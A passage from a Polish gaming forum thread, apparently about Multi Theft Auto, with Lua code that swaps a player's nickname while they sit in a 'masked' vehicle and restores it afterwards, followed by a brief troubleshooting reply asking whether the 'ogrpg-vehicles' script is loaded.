    setVehiclePanelState ( veh, i ,panel[i])
    end
end
addCommandHandler("wariant", wariant)


addEventHandler("onVehicleEnter", root, function(plr,seat,jacked)
if source then 
if source and getElementData(source,"vehicle:masked") then
setElementData(plr,"player:old:nick",getPlayerName(plr))
local x = string.format("#040707%s",getPlayerName(plr):gsub("#%x%x%x%x%x%x",""))
setPlayerName(plr,x)
end
end
end)
addEventHandler("onVehicleExit", root, function(plr,seat,jacked)
if source then 
if source and getElementData(source,"vehicle:masked") then
local name = getElementData(plr,"player:old:nick")
setPlayerName(plr,name)
end
end
end)
addEventHandler("onElementDestroy", root, function()
if getElementType(source) ~= "vehicle" then return end
if getElementData(source,"vehicle:masked") then
for i,p in pairs(getVehicleOccupants(source)) do
local name = getElementData(p,"player:old:nick")
setPlayerName(p,name)
end
end
end)


Postaw piwo autorowi tego posta
 

 
Wysłany: 2018-04-25, 18:19


patuniunia







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masz wgrany skrypt ogrpg-vehicles?
mo?e zmieni?e? nazwe tego skryptu hmm?

Postaw piwo autorowi tego posta
 

 
Tagi: nie :: działa :: przechowywalnia
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